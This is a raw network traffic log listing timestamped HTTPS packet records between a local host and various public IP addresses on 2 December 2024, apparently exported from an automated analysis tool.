Dec 2, 2024 01:34:37.994702101 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:37.995718956 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:37.995784044 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:37.998279095 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:37.998354912 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:38.012727022 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:38.181742907 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.197834015 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.197859049 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.197892904 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:38.197971106 CET	443	49833	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:38.198024988 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.198043108 CET	49833	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:38.198056936 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.198230982 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.198244095 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.203326941 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:34:38.203394890 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:34:38.243330002 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.267205000 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.267684937 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.267719984 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.269277096 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.269283056 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.319102049 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.319168091 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.320357084 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.321721077 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.321744919 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.321934938 CET	49816	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.321942091 CET	443	49816	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.325736046 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.325783014 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.325948000 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.326072931 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.326086998 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.329649925 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.329725027 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.329843044 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.329922915 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.329922915 CET	49819	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.329968929 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.330004930 CET	443	49819	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.331985950 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.332041979 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.332124949 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.332263947 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.332290888 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.345736980 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.345799923 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.345916986 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.345942974 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.345963001 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.345974922 CET	49815	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.345979929 CET	443	49815	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.349545956 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.349572897 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.349745035 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.349890947 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.349905968 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.409718990 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.419655085 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.419734001 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.419765949 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.423348904 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.423588991 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.423598051 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.437239885 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.437324047 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.437333107 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.448523998 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.448676109 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.448684931 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.452003002 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.452071905 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.452167034 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.453253031 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.453318119 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.453455925 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.453866005 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.453883886 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.453893900 CET	49814	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.453900099 CET	443	49814	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.454421997 CET	49802	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.454435110 CET	443	49802	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.457113981 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.457201958 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.457389116 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.457508087 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.457541943 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.458215952 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.458332062 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.458350897 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.500056028 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.500097990 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.546484947 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.578413010 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.623027086 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.819363117 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.820147038 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.820195913 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.820223093 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.825043917 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.825109005 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.825119019 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.826647997 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.826682091 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.826728106 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.826734066 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.827017069 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.827440023 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.827729940 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.828067064 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.828814983 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.828850985 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.828874111 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.828879118 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.829365969 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.829380989 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.829396963 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.829781055 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.829855919 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.829931974 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.830151081 CET	49832	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.830164909 CET	443	49832	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.830435991 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.833714008 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.833741903 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.833815098 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.833822966 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.833867073 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.835388899 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.837831974 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.837862968 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.837944984 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.837953091 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.838007927 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.839447021 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.840259075 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.840291977 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.840317965 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.840323925 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.840341091 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.840379000 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.840385914 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.840445995 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.846949100 CET	49830	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.846973896 CET	443	49830	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.847810984 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.847831011 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.847918034 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.847925901 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.847944021 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.847948074 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.847973108 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.847978115 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.848031044 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.848037958 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.848073006 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.848084927 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.848095894 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.848099947 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.848401070 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.848407984 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.848557949 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:38.848562956 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:38.852839947 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.852889061 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.853143930 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.853291988 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:38.853308916 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:38.866158009 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:38.866579056 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:38.866612911 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:38.869591951 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:38.869600058 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:38.869641066 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:38.869651079 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:38.890840054 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.890939951 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:38.891113043 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.891151905 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:38.891191959 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.891210079 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.891415119 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.891453028 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:38.891505003 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:38.891519070 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:38.909727097 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.941154957 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.941209078 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.941227913 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.948616028 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.948695898 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.948714018 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.948724031 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.949034929 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.956124067 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.963633060 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.963685989 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.963696003 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.971014023 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.971086979 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.971095085 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.978431940 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.978487968 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.978497028 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.983553886 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.983617067 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.983623028 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.993671894 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.993731976 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.993755102 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.998758078 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:38.998828888 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:38.998853922 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.003978014 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.004344940 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.004369020 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.009108067 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.009216070 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.009238005 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.014187098 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.014380932 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.014400005 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.019344091 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.020353079 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.020369053 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.024418116 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.024477005 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.024493933 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.034535885 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.034595966 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.034610033 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.039807081 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.039833069 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.039865971 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.039890051 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.040016890 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.044770956 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.049834967 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.049881935 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.049906969 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.055053949 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.055124044 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.055147886 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.055613041 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.055675983 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.060204029 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.060308933 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.060331106 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.065267086 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.065371037 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.065395117 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.066982985 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.066988945 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.067713022 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.068566084 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.068629026 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.068672895 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.072896004 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.075403929 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.075428009 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.078015089 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.078088045 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.078113079 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.083882093 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.083925962 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.083934069 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.088335037 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.088527918 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.088547945 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.098651886 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.098704100 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.098718882 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.103431940 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.103494883 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.103514910 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.108820915 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.108875990 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.108892918 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.113883972 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.113924980 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.113945961 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.113955975 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.114008904 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.118796110 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.124083996 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.124152899 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.124157906 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.129492044 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.129548073 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.129554033 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.129637957 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.129777908 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.130001068 CET	49805	443	192.168.2.7	142.250.181.65
Dec 2, 2024 01:34:39.130019903 CET	443	49805	142.250.181.65	192.168.2.7
Dec 2, 2024 01:34:39.240044117 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:39.240086079 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:39.240349054 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:39.240703106 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:39.240717888 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:39.266904116 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.266925097 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:39.267155886 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.267199039 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:39.267227888 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.267261982 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.267685890 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.267702103 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:39.267966986 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.267981052 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:39.386013031 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:39.386049032 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:39.386246920 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:39.386635065 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:39.386645079 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:39.407767057 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.408471107 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.408480883 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.408833981 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.409210920 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.409279108 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.458276987 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.496231079 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:39.496259928 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:39.496381998 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:39.496609926 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:39.496620893 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:39.772928953 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.773034096 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.773415089 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.773588896 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.773603916 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:39.773613930 CET	49834	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:39.773618937 CET	443	49834	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:40.040327072 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.040915012 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.040946960 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.041383028 CET	49839	443	192.168.2.7	13.107.246.63
